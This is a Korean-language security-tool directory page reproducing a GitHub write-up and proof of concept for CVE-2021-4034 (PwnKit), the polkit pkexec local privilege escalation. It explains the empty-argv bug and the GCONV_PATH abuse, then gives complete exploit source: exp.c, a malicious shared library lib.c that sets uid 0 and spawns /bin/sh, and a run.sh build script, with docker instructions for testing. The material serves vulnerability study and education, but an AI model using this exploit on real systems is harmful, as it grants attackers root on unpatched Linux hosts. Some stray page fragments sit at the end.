Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-4034 — CVE-2021-4034 POC, Docker 및 분석 글 | Kitploit
도구/GitHubGitHub/chenaotian/cve-2021-4034
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubchenaotian/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 POC, Docker 및 분석 글

저장소 보기
1234년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-4034 PolKit 로컬 권한 상승 분석

[toc]

취약점 개요

취약점 번호: CVE-2021-4034

취약점 점수:

취약점 제품: linux PolKit (pkexec)

영향 범위: 2009년부터 현재(0.105)까지의 버전 영향 참조 http://its.dlut.edu.cn/info/1054/78309.htm

이용 조건: linux 로컬; pkexec가 suid 파일이고 실행 권한이 있어야 함

소스 코드 획득: apt source policykit-1

​ 또는 https://launchpad.net/ubuntu/bionic/+package/policykit-1

docker 환경

docker 환경: chenaotian/cve-2021-4034

직접 구축한 docker로서 다음을 제공합니다:

  1. 직접 컴파일하여 소스 디버깅이 가능한 pkexec
  2. 디버그 심볼이 포함된 glibc(별로 쓸모없는 듯)
  3. gdb 및 gdb 플러그인 pwngdb & pwndbg(필요 없을 듯)
  4. 디버깅 환경의 exp

모든 것은 /root/ 디렉토리에 있습니다:

image-20220126183638493

  • exp 디렉토리는 exp와 run.sh가 있는 곳으로, 바로 su test로 test 사용자로 전환 후 실행 가능
  • glibc-2.27은 glibc 소스 디렉토리, 대부분 사용하지 않지만 필요할 때 gdb 소스 디버깅에 사용
  • polkit-0.105는 policykit 소스 패키지

docker 시작:

root@kitploit:~
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

exp 테스트:

root@kitploit:~
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami

취약점 원리

취약점이 발생하는 제품은 polkit의 pkexec 명령입니다. pkexec는 sudo와 유사하게 다른 사용자(보통 root)로 명령을 실행할 수 있는 도구입니다. dpkg 명령으로 pkexec가 속한 패키지를 확인할 수 있습니다:

root@kitploit:~
dpkg -S /usr/bin/pkexec

image-20220126152839307

그런 다음 소스 패키지를 가져옵니다(제 docker에도 있습니다). 이후 소스 패키지를 기반으로 직접 컴파일하여 디버깅 가능한 버전을 만들어 디버깅에 사용합니다.

취약점 트리거 포인트

취약점 트리거 원리는 매우 간단합니다.

/polkit-0.105/src/programs/pkexec.c : 386 main

root@kitploit:~
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* 이 부분의 의미는 사용자 입력 파라미터를 순회하며 파라미터에 따라 값을 설정하는 것입니다.
   * 문제는 순회 시작점이 1이라서 사용자가 아무 파라미터도 입력하지 않은 경우를 고려하지 않았다는 점입니다.
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else //인식할 수 없는 파라미터면 루프를 빠져나옵니다. 이 파라미터가 실행하려는 명령임을 의미합니다.
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //실행할 명령 문자열을 가져옵니다.
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path()는 환경을 통한 공격에 취약하지 않습니다 */
      //이 함수는 PATH 환경 변수를 통해 실행할 명령의 절대 경로를 찾습니다.
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;//찾은 절대 경로를 명령줄 인자로 다시 저장합니다.
    }
  ··· ···
  ··· ···

코드의 제 주석을 바탕으로 분석하면:

  1. 먼저 main 함수에서 사용자가 입력한 명령줄 인자를 기반으로 몇 가지 변수를 설정합니다. 하지만 for 루프의 시작 값이 1이므로 기본적으로 적어도 하나의 인자(pkexec가 실행할 명령)가 있다고 가정합니다.
  2. --로 시작하지 않는 명령줄 인자를 만나면 실행할 명령으로 간주하고, 해당 인자가 pkexec로 실행할 명령이라고 판단하여 루프를 빠져나와 이후 로직을 실행합니다.
  3. g_find_program_in_path 함수를 호출하여 명령의 절대 경로를 찾습니다. g_find_program_in_path 함수는 PATH 환경 변수를 사용하여 전달된 인자(명령)의 절대 경로를 찾습니다. 예를 들어 cat을 전달하면 /bin/cat을 반환합니다.
  4. 찾은 절대 경로를 해당 명령줄 인자 위치에 다시 씁니다. (명령을 명령에 해당하는 파일의 절대 경로로 변환한다고 이해하면 됩니다.)

이해하기 쉽지만, 문제는 다음과 같습니다:

  1. 리눅스 바이너리 프로그램이 실행될 때 명령줄 인자 argv[]와 환경 변수 environ[]을 스택 하단에 배치하며, argv[]와 environ[]은 연속적으로 배치됩니다. argv[]의 마지막 항목은 null입니다.

    image-20220126162140802

  2. 명령줄에서 pkexec를 실행할 때 다른 인자 없이 실행하면 argv[0]는 "pkexec", argv[1]은 \x00이 되어 문제가 없습니다. 하지만 execve 함수로 pkexec를 실행할 때 다른 인자 없이 실행하면 argv[0]은 이 되고, 은 환경 변수가 됩니다! 을 읽을 때 을 읽게 됩니다.

그럼 어떤 영향이 있을까요? execve로 실행할 때 다른 인자 없이 실행하면 argv[]의 길이가 0이므로 argv[1]은 environ[0]이 됩니다. 그러면 위에서 분석한 로직이 첫 번째 환경 변수의 값을 가져와서 PATH 환경 변수에서 그 절대 경로를 찾게 됩니다. 만약 찾으면 그 값을 첫 번째 환경 변수에 다시 씁니다. 따라서 이용 방법은 다음과 같습니다:

취약점 이용

먼저 분명히 해야 할 점은 pkexec는 권한 있는(suid) 파일이라는 것입니다:

image-20220126161324831

권한 있는 파일에서 환경 변수를 이용하여 어떻게든 할 수 있을까요? 먼저 작은 세부 사항을 알아보겠습니다:

작은 세부 사항

리눅스 동적 링커 ld-linux-x86-64.so.2는 권한 있는 프로그램이 실행될 때 민감한 환경 변수를 제거합니다:

함수 _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307

root@kitploit:~
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) //권한 모드인 경우
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      //위험 환경 변수 목록의 모든 환경 변수를 루프로 제거(unset)합니다.
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}

위험 환경 변수 목록 UNSECURE_ENVVARS는 다음과 같이 정의되어 있습니다:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

root@kitploit:~
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

프로그램이 권한 파일(suid)임을 감지하면 위 환경 변수들을 모두 제거합니다. 대부분 LD_ 계열의 환경 변수이며, 이들은 동적 라이브러리 로딩 경로를 지정할 수 있는 능력이 있습니다. 이는 낮은 권한의 사용자가 이러한 환경 변수를 통해 suid 프로그램이 신뢰할 수 없는 so를 로드하지 못하게 하여 악성 코드 실행 및 권한 상승을 방지하기 위한 것입니다.

이 취약점 시나리오에서는 임의의 환경 변수에 한 번 쓸 기회가 있습니다. 우리의 이용 아이디어는 위에서 suid 프로그램에 전달할 수 없었던 환경 변수 중에서 무언가를 찾는 것입니다.

이용 원리

이미 PoC가 공개되었으므로 여기서는 정답을 바로 보는 것이 간단합니다. arthepsy의 PoC를 참고했습니다. 내용은 간단하지만 이 PoC를 통해 이용의 핵심 환경 변수가 **GCONV_PATH**임을 알 수 있습니다. 확실히 위험 환경 변수 목록에 포함되어 있으며, 심지어 첫 번째입니다!

GCONV_PATH와 iconv_open() 함수에 대해:

iconv_open() 함수는 변환 설명자를 할당하여 문자 시퀀스를 인코딩 fromcode에서 인코딩 tcode로 변환하며, 변환 설명자는 변환 상태를 포함합니다. iconv_open() 함수는 먼저 시스템에서 제공하는 gconv-modules 파일을 찾습니다. 이 파일에는 각 문자 집합에 대한 관련 정보 저장 경로가 포함되어 있으며, 각 문자 집합의 관련 정보는 .so 파일에 저장됩니다. 그런 다음 gconv-modules 파일의 지시에 따라 매개변수에 해당하는 .so 파일을 링크하여 구체적인 작업을 수행합니다. 환경 변수 GCONV_PATH가 존재하면 iconv_open() 함수는 GCONV_PATH에 따라 gconv-modules 파일을 찾고, 이후 작업은 동일하게 진행됩니다.

즉, GCONV_PATH 환경 변수는 LD_LIBRARY_PATH와 유사한 기능을 합니다. iconv_open() 함수가 so 라이브러리를 검색할 경로를 지정할 수 있습니다. GCONV_PATH를 위조한 다음 gconv-modules를 위조하고 마지막으로 so를 위조하면 임의 so 로딩 및 임의 코드 실행이 가능합니다.

대략적인 아이디어는 다음과 같습니다:

  1. GCONV_PATH=.이라는 디렉토리를 생성합니다.

  2. GCONV_PATH=. 디렉토리 안에 pwnkitdir이라는 파일을 생성하고, 실행 권한을 부여합니다.

  3. pwnkitdir이라는 디렉토리를 생성합니다.

  4. pwnkit 디렉토리에 gconv-modules 파일을 생성하고, 형식에 맞게 다음 내용을 작성합니다:

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  5. pwnkit 디렉토리에 악성 so pwnkit.so를 넣습니다. 셸을 획득하는 코드가 포함되어 있습니다.

  6. 관련 환경 변수를 설정합니다.

    1. 첫 번째 환경 변수: pwnkitdir
    2. 두 번째 환경 변수: PATH=GCONV_PATH=. 이렇게 하면 g_find_program_in_path 함수가 조합한 경로가 GCONV_PATH=./pwnkitdir이 되어 환경 변수 형식과 일치하며, 디렉토리가 존재하고 파일도 존재합니다.

그러면 성공합니다. 구체적인 exp는 다음과 같습니다:

exp

exp.c

root@kitploit:~
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); //경로는 실제 상황에 따라 수정하세요
}

lib.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

root@kitploit:~
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

이용 성공:

image-20220126182231579

완화 조치

최신 버전으로 업그레이드

참고

취약점 공개: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

arthepsy의 PoC: https://github.com/arthepsy/CVE-2021-4034

도구 다운로드
\x00
argv[1]
argv[1]
경계를 넘어
environ[0]

명령줄에서 직접 pkexec를 실행할 때 argc는 1, argv[0]은 pkexec 경로:

image-20220126162616203

execve 함수로 pkexec를 실행할 때 argc는 0:

image-20220126162804529

./pwnkitdir
GCONV_PATH=./pwnkitdir
  • CHARSET=PWNKIT 환경 변수: iconv_open 전 경로에서 사용되어 gconv-modules에서 so를 검색합니다.
  • SHELL=xxx 환경 변수: iconv_open 전 경로에서 사용됩니다.
  • execve로 pkexec를 실행하며, 인자는 비어 있고 환경 변수는 위에서 설정한 값으로 합니다.